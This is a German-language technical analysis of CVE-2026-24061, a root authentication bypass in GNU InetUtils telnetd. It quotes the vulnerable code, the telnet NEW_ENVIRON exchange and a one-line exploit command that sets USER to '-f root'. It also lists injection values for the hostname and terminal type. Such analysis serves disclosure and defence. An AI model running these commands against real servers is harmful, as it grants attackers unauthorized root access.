
Tiefgehende technische Analyse und Scanner für CVE-2026-24061, eine kritische Authentifizierungsumgehung in GNU InetUtils telnetd, einschließlich Exploit-Kette, PoC und Patch-Details.
CVE-2026-24061 ist eine kritische (CVSS 9.8) Remote-Authentifizierungsumgehungsschwachstelle in GNU InetUtils telnetd, die es nicht authentifizierten Angreifern ermöglicht, sofortigen Root-Zugriff zu erlangen. Die Schwachstelle beruht auf einer unzureichenden Bereinigung der Umgebungsvariablen USER, die direkt als Befehlszeilenargument an /usr/bin/login übergeben wird. Durch Setzen von USER=-f root löst ein Angreifer das -f-Flag von login aus, das die Authentifizierung vollständig umgeht.
Betroffene Versionen: GNU InetUtils 1.9.3 bis 2.7 Schwachstellentyp: CWE-88 (Argumentinjektion) Entdeckungsdatum: 20. Januar 2026 Entdecker: Kyu Neushwaistein (alias Carlos Cortes Alvarez)
telnetd/telnetd.c, Zeilen ~49-63)Die Schwachstelle beginnt mit einer Vorlagenzeichenfolge, die definiert, wie telnetd /usr/bin/login aufruft:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
Wichtige Beobachtung: Auf Nicht-Solaris-Systemen verwendet die Vorlage:
%?u{-f %u}{%U} - Dies ist ein bedingter Ausdruck, der bedeutet:
user_name gesetzt ist (%u), verwende -f %u (authentifizierter Autologin)%U (die USER-Umgebungsvariable als Fallback)Das kritische Problem: %U expandiert zur rohen, nicht bereinigten USER-Umgebungsvariablen.
telnetd/utility.c, _var_short_name())Die Vorlagenzeichenfolge wird von expand_line() verarbeitet, das _var_short_name() zur Erweiterung von Platzhaltern aufruft. Hier ist der verwundbare Code:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENTIELL VERWUNDBAR
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENTIELL VERWUNDBAR
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VERWUNDBAR!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
Der kritische Fehler (Fall 'U'): Die Umgebungsvariable USER wird über getenv() abgerufen und ohne jegliche Bereinigung durchgereicht. Wenn ein Angreifer USER=-f root setzt, wird dies Teil der Login-Befehlszeile.
telnetd/pty.c, start_login())Die erweiterte Login-Aufrufzeichenfolge wird in start_login() ausgeführt:
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
Angreifer verbindet sich mit telnetd (Port 23)
Telnet-Optionsaushandlung findet statt:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (fordert Umgebung an)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEServer verarbeitet die USER-Variable:
getenv("USER") gibt -f root zurück%U expandiert zu -f root/usr/bin/login -p -h <hostname> -f rootLogin interpretiert -f root:
-f-Flag bedeutet "Authentifizierung überspringen, Benutzer ist vorauthentifiziert"root ist der Benutzername, mit dem angemeldet wird# Auf dem Angreifer-Rechner:
USER='-f root' telnet -a <target_ip>
Das -a-Flag aktiviert den automatischen Anmeldemodus, der die USER-Umgebungsvariable an den Server sendet.
Das Sicherheitsbulletin stellt ausdrücklich fest: "Somit besteht Potenzial für ähnliche Schwachstellen bei anderen Variablen." Analysieren wir jede Variable in _var_short_name():
| Var | Name | Quelle | Benutzerkontrollierbar? | Bereinigt? | Angriffsfläche |
|---|---|---|---|---|---|
%U | USER-Umgebungsvariable | getenv("USER") | JA (über NEW_ENVIRON) | NEIN | KRITISCH - CVE-2026-24061 |
%h | remote_hostname | DNS/PTR-Lookup | Teilweise (PTR-Eintrag) | NEIN | HOCH |
%T | terminaltype | TERMINAL-TYPE-Option | JA | NEIN | MITTEL |
%u | user_name | Protokollaushandlung | JA | NEIN | MITTEL (erfordert Authentifizierung) |
%l | local_hostname | Systemkonfiguration | NEIN | N/V | NIEDRIG |
%L | line (TTY) | Systemzugewiesen | NEIN | N/V | NIEDRIG |
%t | tty-Kurzname | Systemzugewiesen | NEIN | N/V | NIEDRIG |
%d | Datum/Uhrzeit | Systemuhr | NEIN | N/V | KEINE |
%a | Authentifizierungsstatus | Interner Zustand | NEIN | N/V | KEINE |
%h - Remote-Hostname (HOCHES RISIKO)Quelle: Wird in telnetd_setup() aus telnetd.c über getnameinfo() oder gethostbyaddr() befüllt.
Das Problem: Wenn ein Angreifer seinen PTR-Eintrag (Reverse-DNS) kontrolliert, könnte er potenziell Folgendes injizieren:
foo -f root
Als seinen Hostnamen, der Teil des -h-Arguments werden würde:
/usr/bin/login -p -h "foo -f root" ...
Ausnutzungsschwierigkeit:
Realwelt-Szenario: Ein Angreifer mit Kontrolle über den PTR-Eintrag seiner IP (üblich bei VPS-Anbietern) könnte sein Reverse-DNS auf einen bösartigen Wert setzen.
%T - Terminaltyp (MITTLERES RISIKO)Quelle: Wird über Telnet-TERMINAL-TYPE-Subaushandlung empfangen und in der Variablen terminaltype gespeichert.
Das Problem: Die Terminaltyp-Zeichenfolge ist angreiferkontrolliert und nicht bereinigt:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
Verwendung in Vorlagen:
%?T{-t %T} - Wird mit dem -t-Flag verwendet%?T{%T} - Direkt eingefügtPotenzieller Angriff:
TERMINAL-TYPE: xterm -f root
Die Ausnutzung hängt jedoch ab von:
%T verwendet (derzeit nur Solaris)-t-Argument behandelt%u - Authentifizierter Benutzername (MITTLERES RISIKO)Quelle: Wird während der Authentifizierungsaushandlung gesetzt.
Das Problem: Wird im -f %u-Muster verwendet:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
Wenn ein Angreifer user_name manipulieren könnte, um Shell-Metazeichen oder zusätzliche Argumente einzuschließen, könnte er eine Eskalation erreichen. Diese Variable wird jedoch typischerweise erst nach einer Form der Authentifizierungsvalidierung gesetzt.